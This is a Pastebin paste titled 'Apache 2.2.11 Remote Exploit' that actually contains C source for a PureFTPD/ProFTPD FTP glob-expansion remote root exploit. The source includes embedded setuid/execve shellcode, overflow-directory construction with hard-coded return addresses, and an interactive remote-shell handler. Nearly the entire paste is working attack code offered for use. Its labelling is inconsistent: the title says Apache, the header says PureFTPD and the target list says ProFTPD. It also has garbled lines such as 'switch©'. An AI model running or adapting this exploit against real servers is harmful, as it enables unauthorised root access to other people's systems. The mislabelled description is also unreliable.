Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Apache 2.2.11 Remote Exploit

By: a guest on May 7th, 2010  |  syntax: C  |  size: 14.37 KB  |  views: 2,540  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. /*
  2. PureFTPD (1.x.x) linux/x86 remote ROOT exploit.
  3. !PRIVATE!***!PRIVATE!***!PRIVATE!***!PRIVATE!***!PRIVATE!***!PRIVATE!***!PRIVATE!
  4. exploit by setg1d(setg1d@neointernet.com).
  5. ------------------------------------------
  6. FTP glob Expansion Vulnerability.
  7. */
  8.  
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <netdb.h>
  12. #include <netinet/in.h>
  13. #include <arpa/inet.h>
  14. #include <unistd.h>
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include <errno.h>
  19. #include <time.h>
  20. #include <ctype.h>
  21. #include <pwd.h>
  22.  
  23.  
  24. #define FTP_PORT 21
  25. #define MAXX(a,B) ((a) < (B) ? (B) : (a))
  26.  
  27. #define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */
  28.  
  29. extern int errno;
  30.  
  31. int debug_read;
  32. int debug_write;
  33.  
  34.  
  35. /*
  36. * Non-ripped 45 byte linux shellcode which does setuid(0) and execve()
  37. * and does not contain any '/' characters.
  38. */
  39. char lincode[]=
  40. "\x29\xc0\x50\xb0\x17\x50\xcd\x80"
  41. "\x29\xc0\x50\xbf\x66\x69\x73\x68"
  42. "\x29\xf6\x66\xbe\x49\x46\x31\xfe"
  43. "\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
  44. "\x56\x89\xe3\x50\x54\x50\x54\x53"
  45. "\xb0\x3b\x50\xcd\x80";
  46.  
  47.  
  48. /* architecture structure */
  49. struct arch {
  50. char *description;
  51. char *shellcode;
  52. unsigned long code_addr;
  53. };
  54.  
  55.  
  56. /* available targets */
  57. struct arch archlist[] =
  58. {
  59. { "Linux/x86 ProFTPD", lincode, 0xbfbfc2a8 }
  60. };
  61.  
  62.  
  63. /*
  64. * function prototypes.
  65. */
  66. void *Malloc(size_t);
  67. void *Realloc(void *, size_t);
  68. char *Strdup(char *);
  69. int get_ip(struct in_addr *, char *);
  70. int tcp_connect(char *, unsigned int);
  71. ssize_t write_sock(int, void *, size_t);
  72. ssize_t read_sock(int, void *, size_t);
  73. int ftp_login(int, char *, char *);
  74. char *ftp_gethomedir(int);
  75. int ftp_mkdir(int, char *);
  76. int ftp_chdir(int, char *);
  77. int ftp_quit(int);
  78. void possibly_rooted(int);
  79. void send_glob(int, char *);
  80. char *random_string(void);
  81. int ftp_glob_exploit(int, char *, unsigned long, char *);
  82. int verify_shellcode(char *);
  83. void usage(char *);
  84. void list_targets(void);
  85.  
  86.  
  87. /*
  88. * Error cheq'n wrapper for malloc.
  89. */
  90. void *Malloc(size_t n)
  91. {
  92. void *tmp;
  93.  
  94. if((tmp = malloc(n)) == NULL)
  95. {
  96. fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
  97. exit(EXIT_FAILURE);
  98. }
  99.  
  100. return tmp;
  101. }
  102.  
  103.  
  104. /*
  105. * Error cheq'n strdup.
  106. */
  107. char *Strdup(char *str)
  108. {
  109. char *s;
  110.  
  111. if((s = strdup(str)) == NULL)
  112. {
  113. fprintf(stderr, "strdup failed! exiting...\n");
  114. exit(EXIT_FAILURE);
  115. }
  116.  
  117. return s;
  118. }
  119.  
  120.  
  121. /*
  122. * translates a host from its string representation (either in numbers
  123. * and dots notation or hostname format) into its binary ip address
  124. * and stores it in the in_addr struct passed in.
  125. *
  126. * return values: 0 on success, != 0 on failure.
  127. */
  128. int get_ip(struct in_addr *iaddr, char *host)
  129. {
  130. struct hostent *hp;
  131.  
  132. /* first check to see if its in num-dot format */
  133. if(inet_aton(host, iaddr) != 0)
  134. return 0;
  135.  
  136. /* next, do a gethostbyname */
  137. if((hp = gethostbyname(host)) != NULL)
  138. {
  139. if(hp->h_addr_list != NULL)
  140. {
  141. memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
  142. return 0;
  143. }
  144. return -1;
  145. }
  146.  
  147. return -1;
  148. }
  149.  
  150.  
  151. /*
  152. * initiates a tcp connection to the specified host (either in
  153. * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
  154. * to the host's tcp port.
  155. *
  156. * return values: != -1 on success, -1 on failure.
  157. */
  158. int tcp_connect(char *host, unsigned int port)
  159. {
  160. int sock;
  161. struct sockaddr_in saddress;
  162. struct in_addr *iaddr;
  163.  
  164. iaddr = Malloc(sizeof(struct in_addr));
  165.  
  166. /* write the hostname information into the in_addr structure */
  167. if(get_ip(iaddr, host) != 0)
  168. return -1;
  169.  
  170. saddress.sin_addr.s_addr = iaddr->s_addr;
  171. saddress.sin_family = AF_INET;
  172. saddress.sin_port = htons(port);
  173.  
  174. /* create the socket */
  175. if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  176. return -1;
  177.  
  178. /* make the connection */
  179. if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
  180. {
  181. close(sock);
  182. return -1;
  183. }
  184.  
  185. /* everything succeeded, return the connected socket */
  186. return sock;
  187. }
  188.  
  189.  
  190. /*
  191. * a wrapper for write to enable us to do some debugging.
  192. */
  193. ssize_t write_sock(int fd, void *buf, size_t count)
  194. {
  195. unsigned int i;
  196.  
  197. if(debug_write == 1)
  198. {
  199. printf(" > ");
  200. for(i = 0; i < count; i++)
  201. printf("%c", ((char *)buf)[i]);
  202. fflush(stdout);
  203. }
  204.  
  205. return write(fd, buf, count);
  206. }
  207.  
  208.  
  209. /*
  210. * a wrapper for read to enable us to some debugging.
  211. */
  212. ssize_t read_sock(int fd, void *buf, size_t count)
  213. {
  214. unsigned int i;
  215. ssize_t r;
  216.  
  217. r = read(fd, buf, count);
  218.  
  219. if(debug_read == 1)
  220. {
  221. printf(" < ");
  222. for(i = 0; i < r; i++)
  223. printf("%c", ((char *)buf)[i]);
  224. fflush(stdout);
  225. }
  226.  
  227. return r;
  228. }
  229.  
  230.  
  231. /*
  232. * FTP LOGIN function. Issues a "USER <username> and then "PASS <password>"
  233. * to login to the remote host and checks that command succeeded.
  234. */
  235. int ftp_login(int sock, char *username, char *password)
  236. {
  237. char recvbuf[256];
  238. char *sendbuf;
  239. int r;
  240.  
  241. /* get the header */
  242. read_sock(sock, recvbuf, 255);
  243.  
  244. sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) *
  245. sizeof(char));
  246.  
  247. sprintf(sendbuf, "USER %s\n", username);
  248.  
  249. write_sock(sock, sendbuf, strlen(sendbuf));
  250. r = read_sock(sock, recvbuf, 255);
  251. recvbuf[r] = 0x0;
  252.  
  253. if(atoi(recvbuf) != 331)
  254. return 0;
  255.  
  256. sprintf(sendbuf, "PASS %s\n", password);
  257.  
  258. write_sock(sock, sendbuf, strlen(sendbuf));
  259. r = read_sock(sock, recvbuf, 255);
  260. recvbuf[r] = 0x0;
  261.  
  262. free(sendbuf);
  263.  
  264. if(atoi(recvbuf) == 230)
  265. return 1;
  266.  
  267. return 0;
  268. }
  269.  
  270.  
  271. /*
  272. * FTP GET HOME DIR function. Issues a "CWD ~" and "PWD" to
  273. * force the ftp daemon to print our our current directory.
  274. */
  275. char *ftp_gethomedir(int sock)
  276. {
  277. char recvbuf[256];
  278. char *homedir = NULL;
  279. int r;
  280.  
  281. write_sock(sock, "CWD ~\n", 6);
  282. r = read_sock(sock, recvbuf, 255);
  283. recvbuf[r] = 0x0;
  284.  
  285. if(atoi(recvbuf) == 250)
  286. {
  287. write_sock(sock, "PWD\n", 4);
  288. r = read_sock(sock, recvbuf, 255);
  289. recvbuf[r] = 0x0;
  290.  
  291. if(atoi(recvbuf) == 257)
  292. {
  293. char *front, *back;
  294.  
  295. front = strchr(recvbuf, '"');
  296. front++;
  297. back = strchr(front, '"');
  298.  
  299. homedir = Malloc((back - front) * sizeof(char));
  300. strncpy(homedir, front, (back - front));
  301. homedir[(back - front)] = 0x0;
  302. }
  303. }
  304.  
  305. return homedir;
  306. }
  307.  
  308.  
  309. /*
  310. * FTP MKDIR function. Issues an "MKD <dirname>" to create a directory on
  311. * the remote host and checks that the command succeeded.
  312. */
  313. int ftp_mkdir(int sock, char *dirname)
  314. {
  315. char recvbuf[512];
  316. char *sendbuf;
  317. int r;
  318.  
  319. sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
  320. sprintf(sendbuf, "MKD %s\n", dirname);
  321.  
  322. write_sock(sock, sendbuf, strlen(sendbuf));
  323. r = read_sock(sock, recvbuf, 511);
  324. recvbuf[r] = 0x0;
  325.  
  326. free(sendbuf);
  327.  
  328. if(atoi(recvbuf) == 257)
  329. return 1;
  330.  
  331. return 0;
  332. }
  333.  
  334.  
  335. /*
  336. * FTP CWD function. Issues a "CWD <dirname>" to change directory on
  337. * the remote host and checks that the command succeeded.
  338. */
  339. int ftp_chdir(int sock, char *dirname)
  340. {
  341. char recvbuf[512];
  342. char *sendbuf;
  343. int r;
  344.  
  345. sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
  346. sprintf(sendbuf, "CWD %s\n", dirname);
  347.  
  348. write_sock(sock, sendbuf, strlen(sendbuf));
  349. r = read_sock(sock, recvbuf, 511);
  350. recvbuf[r] = 0x0;
  351.  
  352. free(sendbuf);
  353.  
  354. if(atoi(recvbuf) == 250)
  355. return 1;
  356.  
  357. return 0;
  358. }
  359.  
  360.  
  361. /*
  362. * FTP QUIT function. Issues a "QUIT" to terminate the connection.
  363. */
  364. int ftp_quit(int sock)
  365. {
  366. char recvbuf[256];
  367. int r;
  368.  
  369. write_sock(sock, "QUIT\n", 5);
  370. r = read_sock(sock, recvbuf, 255);
  371. recvbuf[r] = 0x0;
  372.  
  373. close(sock);
  374. return 1;
  375. }
  376.  
  377. /*
  378. * switches between the user and the remote shell (if everything went well).
  379. */
  380. void possible_shell(int sock)
  381. {
  382. char banner[] =
  383. "cd /; echo; uname -a; echo; id; echo; echo Welcome to the shell, "
  384. "enter commands at will; echo;\n\n";
  385.  
  386. char buf[1024];
  387. fd_set fds;
  388. int r;
  389.  
  390. write(sock, banner, strlen(banner));
  391.  
  392. for(;;)
  393. {
  394. FD_ZERO(&fds);
  395. FD_SET(fileno(stdin), &fds);
  396. FD_SET(sock, &fds);
  397. select(255, &fds, NULL, NULL, NULL);
  398.  
  399. if(FD_ISSET(sock, &fds))
  400. {
  401. memset(buf, 0x0, sizeof(buf));
  402. r = read (sock, buf, sizeof(buf) - 1);
  403. if(r <= 0)
  404. {
  405. printf("Connection closed.\n");
  406. exit(EXIT_SUCCESS);
  407. }
  408. printf("%s", buf);
  409. }
  410.  
  411. if(FD_ISSET(fileno(stdin), &fds))
  412. {
  413. memset(buf, 0x0, sizeof(buf));
  414. read(fileno(stdin), buf, sizeof(buf) - 1);
  415. write(sock, buf, strlen(buf));
  416. }
  417. }
  418. close(sock);
  419. }
  420.  
  421.  
  422. /*
  423. * generates a string of 6 random characters.
  424. * this is too allow for multiple successful runs, best way to do
  425. * this is to actually remove the created directories.
  426. */
  427. char *random_string(void)
  428. {
  429. int i;
  430. char *s = Malloc(7);
  431.  
  432. srand(time(NULL));
  433. for(i = 0; i < 6; i++)
  434. s[i] = (rand() % (122 - 97)) + 97;
  435.  
  436. s[i] = 0x0;
  437. return s;
  438. }
  439.  
  440.  
  441. /*
  442. * sends the glob string, to overflow the daemon.
  443. */
  444. void send_glob(int sock, char *front)
  445. {
  446. char globbed[] = "CWD ~/NNNNNN*/X*/X*/X*\n";
  447. int i, j;
  448.  
  449. for(i = 6, j = 0; i < 6 + 6; i++, j++)
  450. globbed[i] = front[j];
  451.  
  452. write_sock(sock, globbed, strlen(globbed));
  453.  
  454. printf("[5] Globbed commands sent.\n");
  455.  
  456. /* start our shell handler */
  457. possible_shell(sock);
  458. }
  459.  
  460.  
  461. /*
  462. * Exploitation routine.
  463. * Makes 4 large directories and then cwd's to them.
  464. */
  465. int ftp_glob_exploit(int sock, char *homedir, unsigned long addy, char
  466. *shellcode)
  467. {
  468. char dir[300];
  469. int i, j;
  470. int total = strlen(homedir) + 1;
  471. int align2;
  472. char *rstring = random_string();
  473.  
  474. /* go to the writeable directory */
  475. if(!ftp_chdir(sock, homedir))
  476. {
  477. fprintf(stderr, "[-] Failed to change directory, aborting!\n");
  478. return 0;
  479. }
  480.  
  481. for(i = 0; i < 4; i++)
  482. {
  483. memset(dir, 0x0, 299);
  484.  
  485. switch(i)
  486. {
  487. case 0: /* first dir == shellcode */
  488. memcpy(dir, rstring, strlen(rstring));
  489. memset(dir + strlen(rstring), NOP, 255 - strlen(rstring));
  490. strcpy(&dir[(255 - strlen(shellcode))], shellcode);
  491. break;
  492.  
  493. case 3: /* address buffer */
  494. /* calculate the alignment */
  495. align2 = total % sizeof(long);
  496. align2 = sizeof(long) - align2;
  497.  
  498. printf("[3] Calculated alignment = %d, total = %d\n",
  499. align2, total);
  500.  
  501. strcpy(dir, "XXXX");
  502. memset(dir + 4, 'X', align2);
  503.  
  504. for(j = 4 + align2; j < 250; j += 4)
  505. *(unsigned long *)(&dir[j]) = addy;
  506. break;
  507.  
  508. default: /* cases 1 and 2, extra overflow bytes */
  509. memset(dir, 'X', 255);
  510. break;
  511.  
  512. }
  513.  
  514. total += strlen(dir) + 1;
  515.  
  516. if(!ftp_mkdir(sock, dir))
  517. {
  518. fprintf(stderr, "[-] Failed to generate directories, aborting!\n");
  519. return 0;
  520. }
  521.  
  522. if(!ftp_chdir(sock, dir))
  523. {
  524. fprintf(stderr, "[-] Failed to change directory, aborting!\n");
  525. return 0;
  526. }
  527. }
  528.  
  529. printf("[4] Evil directories created.\n");
  530.  
  531. if(!ftp_chdir(sock, homedir))
  532. {
  533. fprintf(stderr, "[-] Failed to cwd back to %s, aborting!\n", homedir);
  534. return 0;
  535. }
  536.  
  537. /* perform the final attack */
  538. send_glob(sock, rstring);
  539.  
  540. return 1;
  541. }
  542.  
  543.  
  544. /*
  545. * returns true if the shellcode passes, false otherwise.
  546. */
  547. int verify_shellcode(char *code)
  548. {
  549. int i, s = 0;
  550.  
  551. if(strlen(code) > 255)
  552. {
  553. fprintf(stderr, "[-] Shellcode length exceeds 255, aborting!\n");
  554. return 0;
  555. }
  556.  
  557. for(i = 0; i < strlen(code); i++)
  558. {
  559. if(code[i] == '/')
  560. s++;
  561. }
  562.  
  563. if(s > 0)
  564. {
  565. fprintf(stderr,
  566. "[-] Shellcode contains %u slash characters, aborting\n", s);
  567. return 0;
  568. }
  569.  
  570. return 1;
  571. }
  572.  
  573.  
  574. /*
  575. * displays the usage message and exits.
  576. */
  577. void usage(char *p)
  578. {
  579. fprintf(stderr,
  580. "Linux/x86 PureFTPD remote exploit.\n"
  581. "usage: %s [options]\n"
  582. "\t-c\tremote host to connect to\n"
  583. "\t-o\tremote port to use\n"
  584. "\t-u\tremote username\n"
  585. "\t-p\tremote password\n"
  586. "\t-i\tget the password interactively\n"
  587. "\t-t\tpredefined target (\"-t list\" to list all targets)\n"
  588. "\t-d\twriteable directory\n"
  589. "\t-l\tshellcode address\n"
  590. "\t-v\tdebug level [0-2]\n"
  591. "\t-s\tseconds to sleep after login (debugging purposes)\n"
  592. "\t-h\tdisplay this help\n", p);
  593.  
  594. exit(EXIT_FAILURE);
  595. }
  596.  
  597. /*
  598. * lists all available targets.
  599. */
  600. void list_targets(void)
  601. {
  602. int i;
  603.  
  604. printf("Available Targets:\n");
  605.  
  606. for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )
  607. printf("%i: %s\n", i, archlist[i].description);
  608.  
  609. return;
  610. }
  611.  
  612.  
  613. int main(int argc, char **argv)
  614. {
  615. int sock, c;
  616. int port = FTP_PORT;
  617. int debuglevel = 0;
  618. char *host = NULL;
  619. char *username = NULL;
  620. char *password = NULL;
  621.  
  622. struct arch *arch = NULL;
  623. char *shellcode = lincode;
  624. int target = 0;
  625. int sleep_time = 0;
  626. unsigned long code_addr = 0;
  627. char *homedir = NULL;;
  628.  
  629. printf("\n\n Downlaod .:: www.WOW-TEAM.org/spaker ::.\n\n");
  630. /* grab command line parameters */
  631. while((c = getopt(argc, argv, "c:o:u:p:it:d:l:v:s:h")) != EOF)
  632. {
  633. switch©
  634. {
  635. case 'c':
  636. host = Strdup(optarg);
  637. break;
  638.  
  639. case 'o':
  640. port = atoi(optarg);
  641. break;
  642.  
  643. case 'u':
  644. username = Strdup(optarg);
  645. break;
  646.  
  647. case 'p':
  648. password = Strdup(optarg);
  649. /* hide the password from ps */
  650. memset(optarg, 'X', strlen(optarg));
  651. break;
  652.  
  653. case 'i':
  654. password = getpass("Enter remote password: ");
  655. break;
  656.  
  657. case 't':
  658. if(strcmp(optarg, "list") == 0)
  659. {
  660. list_targets();
  661. return EXIT_FAILURE;
  662. }
  663.  
  664. target = atoi(optarg);
  665. arch = &(archlist[target]);
  666. code_addr = arch->code_addr;
  667. shellcode = arch->shellcode;
  668. break;
  669.  
  670. case 'd':
  671. homedir = Strdup(optarg);
  672. break;
  673.  
  674. case 'l':
  675. code_addr = strtoul(optarg, NULL, 0);
  676. break;
  677.  
  678. case 'v':
  679. debuglevel = atoi(optarg);
  680. break;
  681.  
  682. case 's':
  683. sleep_time = atoi(optarg);
  684. break;
  685.  
  686. default:
  687. usage(argv[0]);
  688. break;
  689. }
  690. }
  691.  
  692.  
  693. /* check for required options */
  694. if(host == NULL || username == NULL || password == NULL || code_addr == 0)
  695. usage(argv[0]);
  696.  
  697. /* setup the debug level */
  698. switch(debuglevel)
  699. {
  700. case 1:
  701. debug_read = 1;
  702. debug_write = 0;
  703. break;
  704.  
  705. case 2:
  706. debug_read = 1;
  707. debug_write = 1;
  708. break;
  709.  
  710. default:
  711. debug_read = 0;
  712. debug_write = 0;
  713. break;
  714. }
  715.  
  716. /* make sure the shellcode is good */
  717. if(!verify_shellcode(shellcode))
  718. return EXIT_FAILURE;
  719.  
  720. /* initiate the tcp connection to the ftp server */
  721. if((sock = tcp_connect(host, port)) == -1)
  722. {
  723. fprintf(stderr, "[-] Connection to %s failed!\n", host);
  724. ftp_quit(sock);
  725. return EXIT_FAILURE;
  726. }
  727.  
  728. if(arch == NULL)
  729. printf("[0] Connected to host %s.\n", host);
  730. else
  731. printf("[0] Connected to host %s\n\tAs type %s.\n",
  732. host, arch->description);
  733.  
  734.  
  735. /* login */
  736. if(!ftp_login(sock, username, password))
  737. {
  738. fprintf(stderr, "[-] Login failed, aborting!\n");
  739. ftp_quit(sock);
  740. return EXIT_FAILURE;
  741. }
  742.  
  743. /* hey, so im anal! */
  744. memset(password, 0x0, strlen(password));
  745. free(username);
  746. free(password);
  747.  
  748. printf("[1] Login succeeded.\n");
  749.  
  750. if(sleep != 0)
  751. sleep(sleep_time);
  752.  
  753. if(homedir == NULL)
  754. {
  755. /* get home directory */
  756. if((homedir = ftp_gethomedir(sock)) == NULL)
  757. {
  758. fprintf(stderr, "[-] Couldn't retrieve home directory, aborting!\n");
  759. ftp_quit(sock);
  760. return EXIT_FAILURE;
  761. }
  762. }
  763.  
  764. printf("[2] Home directory retrieved as \"%s\", %u bytes.\n",
  765. homedir, strlen(homedir));
  766.  
  767. /* do the exploitation */
  768. if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode))
  769. {
  770. fprintf(stderr, "[-] exploit failed, aborting!\n");
  771. ftp_quit(sock);
  772. return EXIT_FAILURE;
  773. }
  774.  
  775. ftp_quit(sock);
  776.  
  777. free(host);
  778. return EXIT_SUCCESS;
  779. }